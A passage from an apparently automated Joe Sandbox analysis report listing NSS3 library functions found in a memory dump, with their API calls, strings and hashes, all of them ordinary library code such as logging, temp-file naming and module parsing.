API ID: _stricmp$Secure$BufferingCriticalDebugEnterFileLockOutputR_smprintfSectionStringUnlockValue__acrt_iob_funccallocfreegetenvstrlen
String ID: , %n$%63[ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_-]%n:%d%n$NSPR_LOG_FILE$NSPR_LOG_MODULES$Unable to create nspr log file '%s'$all$append$bufsize$sync$timestamp
API String ID: 2013311973-4000297177
Opcode ID: 91281a54c66ac7e5f7516d04a502fc9df9b306961d7b7014433fb635d8362ee4
Instruction ID: 32ce58ac8811d77771b78f3c59bc443fd376ad517b0ff0148703fa434250f8c4
Opcode Fuzzy Hash: 91281a54c66ac7e5f7516d04a502fc9df9b306961d7b7014433fb635d8362ee4
Instruction Fuzzy Hash: 2251E1B1E042199BEF10DBE5CD48B9E77F9AF0538CF040928E829DBA01E374D419CB99

Function 6C7D6E50 Relevance: 42.2, APIs: 19, Strings: 5, Instructions: 213stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C68CA30: EnterCriticalSection.KERNEL32(?,?,?,6C6EF9C9,?,6C6EF4DA,6C6EF9C9,?,?,6C6B369A), ref: 6C68CA7A
Part of subcall function 6C68CA30: LeaveCriticalSection.KERNEL32(?), ref: 6C68CB26

memset.VCRUNTIME140(00000000,00000000,?,?,6C69BE66), ref: 6C7D6E81
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,6C69BE66), ref: 6C7D6E98
sqlite3_snprintf.NSS3(?,00000000,6C83AAF9,?,?,?,?,?,?,6C69BE66), ref: 6C7D6EC9
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,6C69BE66), ref: 6C7D6ED2
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,6C69BE66), ref: 6C7D6EF8
sqlite3_snprintf.NSS3(?,00000019,mz_etilqs_,?,?,?,?,?,?,?,6C69BE66), ref: 6C7D6F1F
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,6C69BE66), ref: 6C7D6F28
sqlite3_randomness.NSS3(0000000F,00000000,?,?,?,?,?,?,?,?,?,?,?,6C69BE66), ref: 6C7D6F3D
memset.VCRUNTIME140(?,00000000,?,?,?,?,?,6C69BE66), ref: 6C7D6FA6
sqlite3_snprintf.NSS3(?,00000000,6C83AAF9,00000000,?,?,?,?,?,?,?,6C69BE66), ref: 6C7D6FDB
sqlite3_free.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,6C69BE66), ref: 6C7D6FE4
sqlite3_free.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,6C69BE66), ref: 6C7D6FEF
sqlite3_free.NSS3(?,?,?,?,?,?,?,?,6C69BE66), ref: 6C7D7014
sqlite3_free.NSS3(00000000,?,?,?,?,6C69BE66), ref: 6C7D701D
sqlite3_free.NSS3(00000000,?,?,?,?,?,?,6C69BE66), ref: 6C7D7030
sqlite3_free.NSS3(00000000,?,?,?,?,?,?,?,6C69BE66), ref: 6C7D705B
sqlite3_free.NSS3(00000000,?,?,?,?,?,6C69BE66), ref: 6C7D7079
sqlite3_free.NSS3(?,?,?,?,?,?,?,?,6C69BE66), ref: 6C7D7097
sqlite3_free.NSS3(00000000,?,?,?,?,?,?,?,?,6C69BE66), ref: 6C7D70A0

Strings

mz_etilqs_, xrefs: 6C7D6F18
winGetTempname2, xrefs: 6C7D70C4
winGetTempname1, xrefs: 6C7D708F
winGetTempname4, xrefs: 6C7D7046
winGetTempname5, xrefs: 6C7D7071

Memory Dump Source

Source File: 00000000.00000002.2098466358.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2098422136.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098764591.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098950907.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099030732.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099193680.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099235290.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: sqlite3_free$strlen$sqlite3_snprintf$CriticalSectionmemset$EnterLeavesqlite3_randomness
String ID: mz_etilqs_$winGetTempname1$winGetTempname2$winGetTempname4$winGetTempname5
API String ID: 593473924-707647140
Opcode ID: e958c3a7ac14dceb5ab8a6e993034df3ecb3b7a41aa458b69864209e36e23f46
Instruction ID: 81c9faa115301c565f1c2d6d4599c36057096a9c672c41604e91a7e08d580bf9
Opcode Fuzzy Hash: e958c3a7ac14dceb5ab8a6e993034df3ecb3b7a41aa458b69864209e36e23f46
Instruction Fuzzy Hash: 2D517BB1A0511227E31096349D59FBF36669F9330CF154A38E80696FC1FB25B50EC2E7

Function 6C764FE0 Relevance: 40.4, APIs: 18, Strings: 5, Instructions: 175COMMON

Download Yara Rule

APIs

isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C7175C2,00000000,00000000,00000001), ref: 6C765009
PL_strncasecmp.NSS3(?,library=,00000008,?,?,?,?,?,?,?,?,00000000,00000000,?,6C7175C2,00000000), ref: 6C765049
PL_strncasecmp.NSS3(?,name=,00000005,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C76505D
PL_strncasecmp.NSS3(?,parameters=,0000000B,?,?,?,?,?,?,?,?), ref: 6C765071
PL_strncasecmp.NSS3(?,nss=,00000004,?,?,?,?,?,?,?,?,?,?,?), ref: 6C765089
PL_strncasecmp.NSS3(?,config=,00000007,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C7650A1
NSSUTIL_ArgSkipParameter.NSS3(?), ref: 6C7650B2
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C7175C2), ref: 6C7650CB
NSSUTIL_ArgFetchValue.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C7650D9
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6C7650F5
NSSUTIL_ArgFetchValue.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C765103
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C76511D
NSSUTIL_ArgFetchValue.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C76512B
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C765145
NSSUTIL_ArgFetchValue.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C765153
free.MOZGLUE(?), ref: 6C76516D
NSSUTIL_ArgFetchValue.NSS3(?,?), ref: 6C76517B
isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C765195

Strings

nss=, xrefs: 6C765083
library=, xrefs: 6C765043
parameters=, xrefs: 6C76506B
config=, xrefs: 6C76509B
name=, xrefs: 6C765057

Memory Dump Source

Source File: 00000000.00000002.2098466358.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2098422136.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098764591.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098950907.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099030732.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099193680.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099235290.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: FetchL_strncasecmpValuefree$isspace$ParameterSkip
String ID: config=$library=$name=$nss=$parameters=
API String ID: 391827415-203331871
Opcode ID: 39d9b90b73b798c89d8af8cd60e21a905314a655dd24b761c861e15e1f10e528
Instruction ID: 528918dff985075ac30360b31387b49fa58e6f215bbb46e823cbb333f095640f
Opcode Fuzzy Hash: 39d9b90b73b798c89d8af8cd60e21a905314a655dd24b761c861e15e1f10e528
Instruction Fuzzy Hash: 3151D7B5A011069BEB91CF21EE45A9A37A8AF0534CF140030EC55E7F42E725E919DBF2

Function 6C738E50 Relevance: 40.4, APIs: 14, Strings: 9, Instructions: 169COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_WrapKey), ref: 6C738E76
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C738EA4
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C738EB3

Part of subcall function 6C81D930: PL_strncpyz.NSS3(?,?,?), ref: 6C81D963

PR_LogPrint.NSS3(?,00000000), ref: 6C738EC9
PR_LogPrint.NSS3( pMechanism = 0x%p,?), ref: 6C738EE5
PL_strncpyz.NSS3(?, hWrappingKey = 0x%x,00000050), ref: 6C738F17
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C738F29
PR_LogPrint.NSS3(?,00000000), ref: 6C738F3F
PL_strncpyz.NSS3(?, hKey = 0x%x,00000050), ref: 6C738F71
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C738F80
PR_LogPrint.NSS3(?,00000000), ref: 6C738F96
PR_LogPrint.NSS3( pWrappedKey = 0x%p,?), ref: 6C738FB2
PR_LogPrint.NSS3( pulWrappedKeyLen = 0x%p,?), ref: 6C738FCD
PR_LogPrint.NSS3( *pulWrappedKeyLen = 0x%x,?), ref: 6C739047

Strings

C_WrapKey, xrefs: 6C738E71
hWrappingKey = 0x%x, xrefs: 6C738F01, 6C738F11
pWrappedKey = 0x%p, xrefs: 6C738FAD
*pulWrappedKeyLen = 0x%x, xrefs: 6C739042
pMechanism = 0x%p, xrefs: 6C738EE0
pulWrappedKeyLen = 0x%p, xrefs: 6C738FC8
hKey = 0x%x, xrefs: 6C738F5B, 6C738F6B
hSession = 0x%x, xrefs: 6C738E8E, 6C738E9E
(CK_INVALID_HANDLE), xrefs: 6C738EAC, 6C738F1F, 6C738F79

Memory Dump Source

Source File: 00000000.00000002.2098466358.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2098422136.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098764591.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098950907.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099030732.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099193680.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099235290.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: *pulWrappedKeyLen = 0x%x$ hKey = 0x%x$ hSession = 0x%x$ hWrappingKey = 0x%x$ pMechanism = 0x%p$ pWrappedKey = 0x%p$ pulWrappedKeyLen = 0x%p$ (CK_INVALID_HANDLE)$C_WrapKey
API String ID: 1003633598-4293906258
Opcode ID: c135ada4d5631a23059e35de5f1429dd132b3254ffbd1b2d6a3d185d054d6df1
Instruction ID: 3a6e966f6fad2ba2b6432c7a4f97ca28f74c3f80166928dd962cd570f2ab768f
Opcode Fuzzy Hash: c135ada4d5631a23059e35de5f1429dd132b3254ffbd1b2d6a3d185d054d6df1
Instruction Fuzzy Hash: D651C831506126ABDB218F549F4CFAA37B6AB4230CF046476F50DABA13D738A858C7D1

Function 6C764C10 Relevance: 40.4, APIs: 13, Strings: 10, Instructions: 146stringmemoryCOMMON

Download Yara Rule

APIs

PR_smprintf.NSS3(%s,%s,00000000,?,0000002F,?,?,?,00000000,00000000,?,6C754F51,00000000), ref: 6C764C50
free.MOZGLUE(00000000,?,?,?,0000002F,?,?,?,00000000,00000000,?,6C754F51,00000000), ref: 6C764C5B
PR_smprintf.NSS3(6C83AAF9,?,0000002F,?,?,?,00000000,00000000,?,6C754F51,00000000), ref: 6C764C76
PORT_ZAlloc_Util.NSS3(0000001A,0000002F,?,?,?,00000000,00000000,?,6C754F51,00000000), ref: 6C764CAE
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C764CC9
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C764CF4
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C764D0B
free.MOZGLUE(00000000,?,?,?,0000002F,?,?,?,00000000,00000000,?,6C754F51,00000000), ref: 6C764D5E
free.MOZGLUE(00000000,?,?,?,0000002F,?,?,?,00000000,00000000,?,6C754F51,00000000), ref: 6C764D68
PR_smprintf.NSS3(0x%08lx=[%s %s],0000002F,?,00000000), ref: 6C764D85
PR_smprintf.NSS3(0x%08lx=[%s askpw=%s timeout=%d %s],0000002F,?,?,?,00000000), ref: 6C764DA2
free.MOZGLUE(?), ref: 6C764DB9
free.MOZGLUE(00000000), ref: 6C764DCF

Strings

timeout, xrefs: 6C764C91
ootT, xrefs: 6C764D1A
rootFlags, xrefs: 6C764D47
0x%08lx=[%s %s], xrefs: 6C764D80
0x%08lx=[%s askpw=%s timeout=%d %s], xrefs: 6C764D9D
every, xrefs: 6C764CA1
rust, xrefs: 6C764D22
%s,%s, xrefs: 6C764C4B
slotFlags, xrefs: 6C764D34
any, xrefs: 6C764C96

Memory Dump Source

Source File: 00000000.00000002.2098466358.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2098422136.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098764591.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098950907.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099030732.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099193680.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099235290.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: free$R_smprintf$strlen$Alloc_Util
String ID: %s,%s$0x%08lx=[%s %s]$0x%08lx=[%s askpw=%s timeout=%d %s]$any$every$ootT$rootFlags$rust$slotFlags$timeout
API String ID: 3756394533-2552752316
Opcode ID: 929e4a180db0324d926b0607c965fd00d079cf4b2cff79f8e8df7d11da6997cb
Instruction ID: b3e020d9dd0c59cb4d87edcef50044eacd49febd3d02028fdb427e00ba5f9319
Opcode Fuzzy Hash: 929e4a180db0324d926b0607c965fd00d079cf4b2cff79f8e8df7d11da6997cb
Instruction Fuzzy Hash: BE4189B1D00141ABDB22DF5ADE45ABB3A65AB8630CF484534EC1A0BF02E731D828D7D3

Function 6C746CD0 Relevance: 37.0, APIs: 20, Strings: 1, Instructions: 298stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C746910: NSSUTIL_ArgHasFlag.NSS3(flags,readOnly,00000000), ref: 6C746943
Part of subcall function 6C746910: NSSUTIL_ArgHasFlag.NSS3(flags,nocertdb,00000000), ref: 6C746957
Part of subcall function 6C746910: NSSUTIL_ArgHasFlag.NSS3(flags,nokeydb,00000000), ref: 6C746972
Part of subcall function 6C746910: NSSUTIL_ArgStrip.NSS3(00000000), ref: 6C746983
Part of subcall function 6C746910: PL_strncasecmp.NSS3(00000000,configdir=,0000000A), ref: 6C7469AA
Part of subcall function 6C746910: PL_strncasecmp.NSS3(00000000,certPrefix=,0000000B), ref: 6C7469BE
Part of subcall function 6C746910: PL_strncasecmp.NSS3(00000000,keyPrefix=,0000000A), ref: 6C7469D2
Part of subcall function 6C746910: NSSUTIL_ArgSkipParameter.NSS3(00000000), ref: 6C7469DF
Part of subcall function 6C746910: NSSUTIL_ArgStrip.NSS3(?), ref: 6C746A5B

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000), ref: 6C746D8C
free.MOZGLUE(00000000), ref: 6C746DC5
free.MOZGLUE(?), ref: 6C746DD6
free.MOZGLUE(?), ref: 6C746DE7
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000), ref: 6C746E1F
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6C746E4B
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6C746E72
free.MOZGLUE(?), ref: 6C746EA7
free.MOZGLUE(?), ref: 6C746EC4
free.MOZGLUE(?), ref: 6C746ED5
free.MOZGLUE(00000000), ref: 6C746EE3
free.MOZGLUE(?), ref: 6C746EF4
free.MOZGLUE(?), ref: 6C746F08
free.MOZGLUE(00000000), ref: 6C746F35
free.MOZGLUE(?), ref: 6C746F44
free.MOZGLUE(?), ref: 6C746F5B
free.MOZGLUE(00000000), ref: 6C746F65

Part of subcall function 6C746C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm:,00000004,6C74781D,00000000,6C73BE2C,?,6C746B1D,?,?,?,?,00000000,00000000,6C74781D), ref: 6C746C40
Part of subcall function 6C746C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,sql:,00000004,?,?,?,?,?,?,?,00000000,00000000,6C74781D,?,6C73BE2C,?), ref: 6C746C58
Part of subcall function 6C746C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,rdb:,00000004,?,?,?,?,?,?,?,?,?,?,00000000,00000000,6C74781D), ref: 6C746C6F
Part of subcall function 6C746C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,extern:,00000007), ref: 6C746C84
Part of subcall function 6C746C30: PR_GetEnvSecure.NSS3(NSS_DEFAULT_DB_TYPE), ref: 6C746C96
Part of subcall function 6C746C30: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm), ref: 6C746CAA

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6C746F90
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6C746FC5
PK11_GetInternalKeySlot.NSS3 ref: 6C746FF4

Strings

+`ul, xrefs: 6C746D0D

Memory Dump Source

Source File: 00000000.00000002.2098466358.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2098422136.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098764591.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098950907.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099030732.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099193680.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099235290.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: free$strcmp$strncmp$FlagL_strncasecmp$Strip$InternalK11_ParameterSecureSkipSlot
String ID: +`ul
API String ID: 1304971872-149724355
Opcode ID: ba7b43eb22fdb655eed3cdf8ebc625b8e5fb97716ffe7b8d499c79f8644ea67a
Instruction ID: 8e028db3aef966e97892b46853b994a0bef8a64abe75329dc474614a6ffe7d07
Opcode Fuzzy Hash: ba7b43eb22fdb655eed3cdf8ebc625b8e5fb97716ffe7b8d499c79f8644ea67a
Instruction Fuzzy Hash: 28B182B4E012199FEF11CBA5DA45B9E7BF9BF09348F148035E815E7A01E735EA04CBA1

Function 6C70DDD0 Relevance: 35.2, APIs: 17, Strings: 3, Instructions: 169memorystringtimeCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6C70DDDE

Part of subcall function 6C760FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C7087ED,00000800,6C6FEF74,00000000), ref: 6C761000
Part of subcall function 6C760FF0: PR_NewLock.NSS3(?,00000800,6C6FEF74,00000000), ref: 6C761016
Part of subcall function 6C760FF0: PL_InitArenaPool.NSS3(00000000,security,6C7087ED,00000008,?,00000800,6C6FEF74,00000000), ref: 6C76102B

PORT_ArenaAlloc_Util.NSS3(00000000,00000018), ref: 6C70DDF5

Part of subcall function 6C7610C0: TlsGetValue.KERNEL32(?,6C708802,00000000,00000008,?,6C6FEF74,00000000), ref: 6C7610F3
Part of subcall function 6C7610C0: EnterCriticalSection.KERNEL32(?,?,6C708802,00000000,00000008,?,6C6FEF74,00000000), ref: 6C76110C
Part of subcall function 6C7610C0: PL_ArenaAllocate.NSS3(?,?,?,6C708802,00000000,00000008,?,6C6FEF74,00000000), ref: 6C761141
Part of subcall function 6C7610C0: PR_Unlock.NSS3(?,?,?,6C708802,00000000,00000008,?,6C6FEF74,00000000), ref: 6C761182
Part of subcall function 6C7610C0: TlsGetValue.KERNEL32(?,6C708802,00000000,00000008,?,6C6FEF74,00000000), ref: 6C76119C

PORT_ArenaAlloc_Util.NSS3(00000000,00000000), ref: 6C70DE34
PR_Now.NSS3 ref: 6C70DE93
CERT_CheckCertValidTimes.NSS3(?,00000000,?,00000000), ref: 6C70DE9D
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C70DEB4
PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6C70DEC3
memcpy.VCRUNTIME140(00000000,?,00000001), ref: 6C70DED8
PR_smprintf.NSS3(%s%s,?,?), ref: 6C70DEF0
PR_smprintf.NSS3(6C83AAF9,(NULL) (Validity Unknown)), ref: 6C70DF04
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C70DF13
PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6C70DF22
memcpy.VCRUNTIME140(00000000,00000000,00000001), ref: 6C70DF33
free.MOZGLUE(00000000), ref: 6C70DF3C
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C70DF4B
free.MOZGLUE(00000000), ref: 6C70DF74
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C70DF8E

Strings

{???}, xrefs: 6C70DE8B
(NULL) (Validity Unknown), xrefs: 6C70DEFA
%s%s, xrefs: 6C70DEEB

Memory Dump Source

Source File: 00000000.00000002.2098466358.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2098422136.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098764591.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098950907.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099030732.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099193680.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099235290.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: ArenaUtil$Alloc_$strlen$Arena_R_smprintfValuefreememcpy$AllocateCertCheckCriticalEnterFreeInitLockPoolSectionTimesUnlockValidcalloc
String ID: %s%s$(NULL) (Validity Unknown)${???}
API String ID: 1882561532-3437882492
Opcode ID: b8b56a2b1316ab8f66d227cf5f71d691179cbef7017cb991437071205fcd1224
Instruction ID: a80f09fec3de06f2e563000c38b4df9a61e9f1f109901bc5beb21d88da263b29
Opcode Fuzzy Hash: b8b56a2b1316ab8f66d227cf5f71d691179cbef7017cb991437071205fcd1224
Instruction Fuzzy Hash: 6D5191F1E002059BDB10DE659E45AAE7BE9AF95358F144438EC19E7B00E730E914CBE5

Function 6C742D80 Relevance: 33.4, APIs: 22, Instructions: 381COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,?,?,00000000,?), ref: 6C742DEC
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,00000000,?), ref: 6C742E00
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6C742E2B
PR_SetError.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6C742E43
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,00000000,?,?,?,6C714F1C,?,-00000001,00000000,?), ref: 6C742E74
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,00000000,?,?,?,6C714F1C,?,-00000001,00000000), ref: 6C742E88
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6C742EC6
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6C742EE4
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6C742EF8
PR_Unlock.NSS3(?), ref: 6C742F62
TlsGetValue.KERNEL32 ref: 6C742F86
EnterCriticalSection.KERNEL32(0000001C), ref: 6C742F9E
PR_Unlock.NSS3(?), ref: 6C742FCA
TlsGetValue.KERNEL32 ref: 6C74301A
EnterCriticalSection.KERNEL32(?), ref: 6C74302E
PR_Unlock.NSS3(?), ref: 6C743066
PR_SetError.NSS3(00000000,00000000), ref: 6C743085
PR_Unlock.NSS3(?), ref: 6C7430EC
TlsGetValue.KERNEL32 ref: 6C74310C
EnterCriticalSection.KERNEL32(0000001C), ref: 6C743124
PR_Unlock.NSS3(?), ref: 6C74314C

Part of subcall function 6C729180: PK11_NeedUserInit.NSS3(?,?,?,00000000,00000001,6C75379E,?,6C729568,00000000,?,6C75379E,?,00000001,?), ref: 6C72918D
Part of subcall function 6C729180: PR_SetError.NSS3(FFFFE000,00000000,?,?,?,00000000,00000001,6C75379E,?,6C729568,00000000,?,6C75379E,?,00000001,?), ref: 6C7291A0

Part of subcall function 6C6F07A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C68204A), ref: 6C6F07AD
Part of subcall function 6C6F07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C68204A), ref: 6C6F07CD
Part of subcall function 6C6F07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C68204A), ref: 6C6F07D6
Part of subcall function 6C6F07A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C68204A), ref: 6C6F07E4
Part of subcall function 6C6F07A0: TlsSetValue.KERNEL32(00000000,?,6C68204A), ref: 6C6F0864
Part of subcall function 6C6F07A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C6F0880
Part of subcall function 6C6F07A0: TlsSetValue.KERNEL32(00000000,?,?,6C68204A), ref: 6C6F08CB
Part of subcall function 6C6F07A0: TlsGetValue.KERNEL32(?,?,6C68204A), ref: 6C6F08D7
Part of subcall function 6C6F07A0: TlsGetValue.KERNEL32(?,?,6C68204A), ref: 6C6F08FB

PR_SetError.NSS3(00000000,00000000), ref: 6C74316D

Memory Dump Source

Source File: 00000000.00000002.2098466358.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2098422136.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098764591.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098950907.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099030732.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099193680.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099235290.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Value$Unlock$CriticalEnterSection$Error$calloc$InitK11_NeedUser
String ID:
API String ID: 3383223490-0
Opcode ID: f2e4eef44b5bfbc992bf16197c2fb5e1701c9e9118a417ac9e894869d32b1b01
Instruction ID: ad52e606442738fb69f9cbd3010cb15feba9226b7a46cc4366883fff21151961
Opcode Fuzzy Hash: f2e4eef44b5bfbc992bf16197c2fb5e1701c9e9118a417ac9e894869d32b1b01
Instruction Fuzzy Hash: C5F1ACB1D00619AFDF10DF64D988BADBBB5BF09318F548169EC08A7711E731E895CB81

Function 6C73AF20 Relevance: 33.4, APIs: 10, Strings: 9, Instructions: 126COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_SignMessage), ref: 6C73AF46
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C73AF74
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C73AF83

Part of subcall function 6C81D930: PL_strncpyz.NSS3(?,?,?), ref: 6C81D963

PR_LogPrint.NSS3(?,00000000), ref: 6C73AF99
PR_LogPrint.NSS3( pParameter = 0x%p,?), ref: 6C73AFBE
